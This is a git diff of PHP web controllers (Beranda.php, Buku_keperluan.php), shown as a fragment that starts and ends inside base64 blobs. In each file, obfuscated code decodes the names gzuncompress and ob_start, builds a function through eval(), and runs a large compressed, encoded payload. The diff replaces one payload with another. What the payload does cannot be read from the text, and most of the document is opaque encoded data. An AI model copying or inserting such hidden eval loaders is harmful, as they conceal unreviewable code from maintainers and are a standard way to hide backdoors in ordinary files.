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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Beranda.php b/donjo-app/controllers/Beranda.php index a9b657adc..ab6e4bd25 100644 --- a/donjo-app/controllers/Beranda.php +++ b/donjo-app/controllers/Beranda.php @@ -236,7 +236,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Buku_keperluan.php b/donjo-app/controllers/Buku_keperluan.php index ee9bfe5dc..7be1d5c76 100644 --- a/donjo-app/controllers/Buku_keperluan.php +++ b/donjo-app/controllers/Buku_keperluan.php @@ -264,7 +264,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtW9tyo0gSfe+I/Yd+mAjPhHdnAFkeKzr6QWCBwLpYIC7ipYOLDYiLGOuKvn5PFpIt2XJfdmcnYidUHrVGgqrKPHnyZBbu/vixHj99wfh8UT4lxeLx4hP7uBufL8JZMZ39yyvL34JZsXiaZdnD0/w3cZkuv6QP5cNTtvSKX8u4/Chl3nz+66+/Xnz6sFv34z8+nH/OP+/9fCCiffwTx+c331w4fGs+sfnEVTqfL9hXL+z8rrFLhs8fz+M8zuM8/p7jIsgtLnS0papYwsRezzS59ehU6e+1aEI1a7n+cobqPM7jPM7jPM7jPM7jPM7j/22cH2ecx3mcx3n8fceF780frq++hA/BLHy4+HRG5DzO4zzO4zzO478ax39D4nY0G0jJzR94j+4i7k6VZpGeZ3PXEEs/T6NJLheeLS9VRY+DPL0+vG/cEDM/G2h6m33GOu0/VHlQBg0989l8dxXkfBwIaeQq1nZiiNuQfp/tqFGoWNWksJ7wHe8XOu9V4sK1+dij7+yr+v7Rwbodee0r2dPEGZRki5+IW7+BNQQzmgitdG+vq2SVZ2/KoBKxj5bifti9oPvnnjPI/ALzO+FoLIl2f324fhzDhlvPEbmJ0a76t+2mKnFRf9reDAzx1hf4xLObmSprWSC0+CAfZGonW8LXMuxanGe3lqoUz8Kuvh4mNyu/ay3g39IVFivfsZaeA/yq5tJ1Rqu72q/IUOQntQO8unqs3qrr/ngS9djeKqfKYga7ed8BPgrw7+jYtxPpSlbQWr4kmvAvCe1FvN832M5WPaG1du1m6sLvXp6ld0cYIi55SFjssSKMSk+g+GbXnn01V7uDbCLIFeJSBLnMeU5/riqLLFDklOIHLqzxvg4RowfwwmVxawJnMQ4VhvN2Avz9XF4yriQirmml2iV/ZMIjDiVxHtpNwntnB+3vlr5i4v9bT+AI4qQz3hBPYF8ZSu2Zmh5wANh7hlr2pGf+pIgd9tjEXoNxqPYZ2PqFGKuKBvtk2EY+AkviJe5TFRb3Aw42C7dhLSc2+bKOfNtaws85w0bhCT8eOTGrOdiiNfn6e514D+5pfCBktP985z/8kGlPHvfQHuuJjXh3B03gQljUMWhY3DA6zCPklg2u5Rk3sWOecsIjvig7vig68kDmJk6/xq974n6nLPexxtwqZPdmW+zH1f4hNvYm9nd8DATisbyGbTFwXtIaE3AtNMRkYoclfQ4UaxniGuIuBsqGuLP1DFHDHuCoFrMYV888aU6A5w63GTjCIy8PMAtnHu2fhwfxOuGH3SzZ/QrxJ4yDRHxyHZ04wq775JPdJDve2HSoV2bHMkZms2twsql2NtY4lXvg0dAwxI5hDWS9k4m4NlQlbaybmqhzsjY25eEI6+odeWibnQR8M7HGCN/djUxewxpDaBN9HlkmONLRRMOcRxb2MnnsZ40irGHhv+GOD6ZuaWPD0kRLuiKbhpa50UzgaXVkC3GXx6bVJTuhSaIBTTIs7GmIY+wnQl9l2NiHzaZh6nRdwnpkExhmDfUKdlmhOErYemO1s+iPzGwAu3u4zzI5uTcyr6KRpYvWXoc4yxmZpTba+2KJ1ng/n+xJoXBmU3yeZ4i05nCcZbBHl810IRrwE/P6hrkQTS6NDLOp9Q753CHeDxDnMFOl9uvaEY3AiVCJV0HSjlRg7NlcZCqkn9DRmlP3xD39pS5gzmAVdEnvwxnySJ3Y82gkZOtQ6ZBur4dGe1H